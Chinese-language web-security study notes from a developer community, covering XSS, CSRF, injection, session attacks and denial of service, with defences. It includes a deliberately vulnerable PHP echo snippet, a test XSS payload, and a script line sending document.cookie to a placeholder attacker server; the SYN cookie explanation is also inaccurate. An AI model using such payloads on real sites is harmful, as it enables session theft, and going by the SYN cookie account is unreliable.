网络安全学习笔记-阿里云开发者社区

开发者社区> 安全> 正文

网络安全学习笔记

简介: <h3 style=""> <span style="font-size:15px; line-height:1.6"> </span><span style="font-size:1.2rem; line-height:1.6">跨站脚本攻击(XSS Cross Site Script)</span> </h3> <div style=""> <span style="line-hei

 跨站脚本攻击(XSS Cross Site Script)

    一、定义:黑客通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户游览网页时,控制用户游览器攻击的一种行为。
    二、分类:
    1.    反射性XSS:把用户输入的数据反射给游览器(诱使用户“点击”一个恶意的链接)篡改链接->用户访问->跳转执行脚本

<?php
echo $_GET["test"];
?>
用户提交:ip?test=<script>alert("test")</script>。游览器即会执行相应的脚本

    2. 存储型XSS:把用户输入的数据“存储”在服务器端。如黑客上传含有恶意Js代码的博客文章到网站服务器,访客游览网页博客时,在他们的游览器中恶意执行这段代码
    3. DOM Base XSS:通过修改网页DOM节点形成的XSS。当网站通过表单让用户输入内容而实现动态修改网页DOM节点的交互功能时,若黑客恶意构造特定格式脚本内容,就可能造成DOM Base XSS。
    三、危害
    1. XSS可实现cookie劫持:攻击者可直接利用注入的js脚本获取cookie,进而通过异步请求把标识session id的cookie上报给攻击者。
比如可以在网站上嵌入<script>window.open('hackerSever?msg='+document.cookie)</script>。将用户cookie发送至攻击者的服务器,服务器获取用户cookie,攻击者即可利用其登录到用户账户中。
    2. 通过模拟GET、POST请求操作用户的游览器。如在用户登录邮箱后获取其邮件信息。(先通过正常抓包获取相应访问链接及其请求内容,再通过模拟请求获取)
    3. XSS钓鱼
    (1)XSS重定向钓鱼(XSS Redirect Phishing):将当前页面重定向到仿冒正常网站的页面中,进行欺诈活动
    (2)HTML注入式钓鱼(XSS HTML Inject Phishing):如动态嵌入一个Form表单,诱使用户填写相应信息进行盗取
    (3)XSS 跨框架钓鱼(Iframe Phishing):通过<Iframe>标签嵌入远程域的一个页面实施钓鱼。,而此时主页面依然处在正常网站的域名下,因此具有很高的迷惑性。
    四、XSS的防御
    1. 设置HttpOnly->防御Cookie劫持攻击,如果Cookie设置了HttpOnly,JS就读取不到Cookie的值。HttpOnly在服务器第一次返回发送Set-Cookie时(同时向客户端游览器写入Cookie)标记,它可以选择性地加在任何一个Cookie上
<?php
    header("Set-Cookie : cookie1;")
    header("Set-Cookie : cookie1;httponly", false);
?>
<script>
    alert(document.cookie);
</script>
    2.输入检查(XSS Filter):如对特殊符号进行转义,特殊语句进行检查过滤等。尤其对于富文本(用户提交一些自定义的HTML代码)“事件“应该被严格禁止,同时也应包括一些比较危险的标签如<iframe>、<script>、<base>、<form>等。

跨站点请求伪造(CSRF Cross Site Request Forgery)

   一、 定义:攻击者盗用用户身份,并以用户身份发送恶意请求。CSRF攻击是源于WEB的隐式身份验证机制。WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。一般来说,完成一次攻击需经过两步
1.登录受信任网站A,并在本地生成Cookie
2.在不登出A的情况下,访问危险网站B
    二、CSRF的防御
    1. 服务与客户端交互进行CSRF防御:先构造third-party Cookie。同时在表单中增加经过hashing的cookie值随表单提交发送到服务器,在服务器获取cookie和表单加密Cookie进行hash校验。
    2. 验证码校验,用户每次提交请求需填写一个图片上的随机字符串,理论上可以完全解决CSRF的问题
    3. One-Time Tokens(不同的表单包含一个不同的伪随机值),实现思路:
        (1)编写token生成函数
        (2)在每次生成表单时,调用token生成函数,增添隐藏域存储token,考虑到不同的表单包含一个不同的伪随机值,还需同时生成访问对应token的索引
        (3)服务端核对token,表单提交时,服务端根据提交的索引获取Session域对应token,与提交的token进行核对。

注入攻击与Session认证

   一、 注入攻击的本质,是把用户输入的数据当做代码执行。其中有两个关键点:
        1、用户能够控制输入。
        2、原本程序要执行的代码,平走了用户输入的数据
    二、Session安全
        当用户登录认证后,在服务器端就会创建一个新的会话(Session),会话中保存用户的状态和相关信息,同时生成一个游览器端对用户透明的凭证,即为SessionID
        1、Session劫持:黑客通过窃取用户SessionID后,使用该SessionID登录进目标用户。
        2、Session Fixation攻击:用户登录前后的SessionID未发生改变,就会存在此问题。具体的攻击过程为:攻击者先获取一个未认证的SessionID,并将其交给用户认证,若用户认证后,服务器并未更新此SessionID的值,攻击者就可以凭借此SessionID登录用户账户。如果SessionId保存在Cookie中,攻击者较难让用户使用这个SessionID,但如果由于youlan游览器不支持Cookie等原因,SessionID做为参数出现在URL时,攻击者只要诱使用户打开特定URL即可。而解决Session Fixation的正确做法,是在登录完成后,重写SessionID
        3、Session保持攻击,一般来说,Session是有生命周期的,当用户长时间未活动,或者注销用户后,用户Session将会被销毁。但如果攻击者窃取并一直持有用户有效的Session(比如间隔性的刷新网页),就能一直使用用户的账户,形成Session保持攻击。

应用层拒绝服务攻击(DDOS Distributed Denial of Service)

拒绝服务攻击以消耗服务器端资源为目的,构造大量请求数据想服务器端发送请求。

在Sever收到SYN,seq后,处于半连接状态,发送数据包并等待Client回应,由于Client在短时间内伪造大量不存在的IP地址,并向Server不断地发送SYN包,Server回复确认包,并等待Client的确认,由于源地址是不存在的,因此,Server需要不断重发直至超时,这些伪造的SYN包将产时间占用未连接队列,导致正常的SYN请求因为队列满而被丢弃,从而引起网络堵塞甚至系统瘫痪

     其中SYN Cookie是对抗SYN flood的主要措施之一,它的主要思想是为每一个IP地址分配一个"cookie",并统计每个IP地址的访问频率。如果在短时间内收到大量来自同一个IP地址的数据包,则认为受到攻击,之后来自这个IP地址的包将被丢弃。

分布反射式拒绝服务(DRDOS)

攻击流程如下所示:

黑客伪造受害者id
->向大量服务器发送请求
->大量服务器响应请求(发送应答包)
->受害者主机忙于处理







版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

分享:
+ 订阅

云安全开发者的大本营

其他文章